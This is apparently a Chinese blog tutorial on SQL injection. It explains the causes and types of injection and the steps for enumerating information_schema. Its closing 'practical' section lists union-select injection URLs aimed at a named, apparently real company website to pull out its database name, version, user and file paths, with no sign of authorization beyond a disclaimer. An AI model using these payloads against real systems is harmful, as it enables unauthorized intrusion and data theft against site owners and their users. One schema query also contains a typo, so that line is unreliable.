目录
前言
sql注入一直以来都稳居owasp-top10榜首,近年来更是爆出很多的数据库泄露攻击事件,如最近上海某公安存在数据库泄露事件。今天简单的分析以下sql注入的一些特性和方式:
本质和危害
一、sql注入的危害包括但不局限于∶
1.数据库信息泄漏︰数据库中存放的用户的隐私信息的泄露。
2.网页篡改:通过操作数据库对特定网页进行篡改。
3.网站被挂马,传播恶意软件︰修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
4.数据库被恶意操作︰数据库服务器被攻击,数据库的系统管理员帐户被窜改。
5.服务器被远程控制︰被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或 控制操作系统。
6.破坏硬盘数据,瘫痪全系统。
二、本质是:把用户输入的数据当作代码执行。包含两个关键条件:用户能够控制输入;原本程序 要执行的代码,拼接了用户输入的数据。
如:
$id = $_GET['id'];
$query = "select * from information where id = ".$id." limit 0,1";
变量id的值由用户提交,在正常情况下,假如用户输入的是1,那么SQL语句会执行:
select * from information where id = 1 limit 0,1
但是假如用户输入一段有sQL语义的语句,..比如:1 or 1 =1 %23
那么,SQL语句在实际的执行时就会如下:
select * from information where id = 1 or 1= 1 %23
三、sql注入常常出现在如下的地方:
分类
按照提交参数方式的不同分为:GET类型、POST类型、COOKIE类型;按照提交的数据类型可分为:数字型注入、字符型注入;按照注入模式可以分为:union联合注入、报错注入、布尔盲注、时间盲注、堆查询注入。
注入一般步骤
sql注入一般步骤是:求闭合字符、选择注入模式、爆出数据库名、爆出数据表名、爆出列名、爆出字段值。
select database()
select table_name from information_schema.tables where table_schema=database()
select column_name from informaton_schema.columns where table_name=xx and table_schema=database()
select * from 数据库名.表名
注入实战
http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,database(),5,6,7,8,9,10,11,12,13
http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,version(),5,6,7,8,9,10,11,12,13
http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,user(),5,6,7,8,9,10,11,12,13
http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,@@basedir,5,6,7,8,9,10,11,12,13
http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,@@datadir,5,6,7,8,9,10,11,12,13
http://szvectron-tek.com/product.php?type_id=-5%20union%20select%201,2,3,@@version_compile_os,5,6,7,8,9,10,11,12,13
注入到此收手。
(声明:此博客文章只做学习和分享用途,未经他人授权恶意攻击概不负责)